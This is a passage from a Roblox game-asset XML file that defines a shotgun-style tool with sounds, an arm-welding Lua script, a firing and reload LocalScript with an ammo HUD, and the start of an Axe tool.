						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=42583419</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.5</X>
							<Y>1.20000005</Y>
							<Z>1.5</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3959">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.10000002</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209842 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3960">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209845 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3961">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">PumpSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3962">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX3963">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX3964">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX3965">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3966">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(0, 1.4, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX3967">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Auto5</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 8
-- How many times per second the gun can fire
local FireRate = 1 / 3
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- In radians the minimum accuracy penalty
local MinSpread = 0.066
-- In radian the maximum accuracy penalty
local MaxSpread = 0.16
-- Number of bullets in a clip
local ClipSize = 4
-- DefaultValue for spare ammo
local SpareAmmo = 40
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.03
-- Time it takes to reload weapon
local ReloadTime = 4
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.PumpSound:Play()
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;for i = 1,8 do -- Shotgun effect :P
&#9;&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;elseif not hitPlayer then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end&#9;
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end</ProtectedString>
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				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX3969">
					<Properties>
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						<Color3 name="BackgroundColor3">4288914085</Color3>
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						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
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						<UDim2 name="Size">
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						<bool name="Visible">true</bool>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
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							<float name="TextTransparency">0</float>
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							<bool name="Visible">true</bool>
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						</Properties>
					</Item>
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						<Properties>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
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							<bool name="Draggable">false</bool>
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					</Item>
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						<Properties>
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						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3979">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3980">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3981">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX3982">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>-1.10000002</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<string name="Name">Axe</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126856738</url></Content>
				<string name="ToolTip">Axe</string>
			</Properties>
			<Item class="Part" referent="RBX3983">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.6000004</X>
						<Y>88.6800079</Y>
						<Z>28.7300014</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
